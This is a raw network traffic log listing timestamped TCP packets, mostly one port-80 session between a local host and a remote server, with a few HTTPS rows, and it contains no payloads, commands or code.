Nov 7, 2024 17:25:48.472906113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472933054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472949028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473047972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473063946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473089933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473093033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473107100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473109007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473119974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473130941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473133087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473156929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473176003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473187923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473196030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473208904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473221064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473233938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473237991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473247051 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473247051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473268032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473292112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473299980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473305941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473319054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473331928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473335981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473357916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473365068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473371983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473382950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473396063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473416090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473426104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473428965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473442078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473453045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473459959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473491907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473515987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473551989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473571062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473582983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473592043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473594904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.473603010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473620892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.473644018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.492844105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.492875099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.492902994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.492913961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.492943048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.492963076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.492975950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493007898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493052006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493052959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493067980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493096113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493108988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493108988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493122101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493129015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493135929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493160963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493184090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493191004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493199110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493213892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493235111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493253946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493256092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493268967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493308067 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493314028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493328094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493366003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493402004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493413925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493424892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493437052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493444920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493457079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493469000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.493470907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493496895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.493510962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.511095047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511107922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511132956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511145115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511157990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.511161089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511192083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.511204958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.511631966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511643887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.511691093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.525326014 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:48.525362015 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:48.525450945 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:48.525780916 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:48.525791883 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:48.535831928 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.535856962 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.535909891 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.535923004 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.535964012 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.535983086 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.553319931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.553333044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.553399086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.553416014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.563225031 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.563308001 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.586393118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586416006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586426973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586452961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586476088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586493969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586507082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586519003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586544991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586549044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586565018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586571932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586582899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586595058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586602926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586606979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586620092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586627960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586658001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586668968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586669922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586683989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586695910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586697102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586710930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586723089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586729050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586752892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586766958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586766958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586766958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586808920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586832047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586849928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586860895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586873055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586882114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586885929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586899042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586910009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586913109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586944103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586951971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586951971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.586966991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586977959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.586996078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587007046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587009907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587023020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587023973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587054014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587079048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587095976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587106943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587131023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587142944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587147951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587167025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587173939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587186098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587198973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587201118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587212086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587222099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587230921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587238073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587253094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587259054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587285042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587286949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587306976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587335110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587346077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587358952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587371111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587373972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587390900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587398052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587409973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587424994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587435961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587438107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587450027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587461948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587464094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587476015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587472916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587496996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587503910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587517023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587526083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587527990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587543011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587551117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587555885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587577105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587587118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587595940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587600946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587613106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587630987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587645054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587657928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587660074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587670088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587692022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587708950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587711096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587743044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587757111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587769032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587770939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587781906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587790012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587796926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587809086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587830067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587836027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587843895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587857962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587868929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587876081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587877035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587889910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587914944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587925911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587939024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587950945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587964058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.587980032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.587997913 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588000059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588011980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588023901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588027000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588049889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588068008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588079929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588078976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588093996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588103056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588119984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588130951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588154078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588161945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588180065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588192940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588198900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588207960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588223934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588236094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588237047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588251114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588254929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588265896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588273048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588289976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588294983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588298082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588309050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588326931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588331938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588346004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588351011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588359118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588360071 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588375092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588381052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588390112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588399887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588407040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588428020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588475943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588536024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588547945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588574886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588593960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588601112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588606119 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588618994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588630915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588641882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588643074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588668108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588684082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588725090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588737011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588761091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588778019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588788986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588788986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588805914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588818073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588819027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588829994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588835955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588843107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588860989 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588881969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588891983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588891983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588903904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588917017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588931084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588931084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588939905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588960886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588972092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.588973999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588987112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.588999033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.589005947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.589031935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.589044094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.589055061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.589061022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.589076996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.589102030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608726025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608737946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608751059 CET	80	49911	95.215.204.182	192.168.2.6
